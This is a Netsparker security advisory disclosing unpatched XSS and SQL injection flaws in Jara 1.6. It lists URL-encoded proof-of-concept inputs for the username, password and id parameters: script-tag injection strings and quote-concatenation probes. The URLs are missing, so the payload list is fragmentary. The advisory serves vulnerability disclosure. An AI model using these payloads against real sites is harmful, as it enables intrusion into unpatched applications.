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Multiple Critical Web Vulnerabilities Identified in Jara by Netsparker

Name :  XSS and SQL Injection Vulnerabilities in Jara
Software :  Jara 1.6 and possibly below.
Vendor Homepage :
Vulnerability Type :  Cross-Site Scripting and SQL Injection
Severity :  Critical
Researcher :  Canberk Bolat
Advisory Reference :  NS-12-009

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Jara is affected by XSS and SQL Injection vulnerabilities in version 1.6.

Example PoC urls are as follows :

SQL Injection Vulnerabilities (POST - username) (POST - password)'%2BNSFTW%2B''%2BNSFTW%2B'  '%2BNSFTW%2B''%2BNSFTW%2B''%2BNSFTW%2B''%2BNSFTW%2B' (POST - id) (POST - id)

XSS Vulnerabilities'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0031F8)%3C/script%3E'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003214)%3C/script%3E'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0032D5)%3C/script%3E (POST - username) (POST - password)'%3E%3Cscript%3Enetsparker(9)%3C/script%3E'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003548)%3C/script%3E'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0034CE)%3C/script%3E'%3E%3Cscript%3Enetsparker(9)%3C/script%3E'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0034D5)%3C/script%3E'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003542)%3C/script%3E'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003569)%3C/script%3E'%3E%3Cscript%3Enetsparker(9)%3C/script%3E

You can read the full article about Cross-Site Scripting and SQL Injection vulnerabilities from here :

No patch released.

Advisory Timeline
19/11/2011 - Couldn’t found a contact e-mail
22/08/2012 - Vulnerability Released

It has been discovered on testing of Netsparker, Web Application Security Scanner - /netsparker/.


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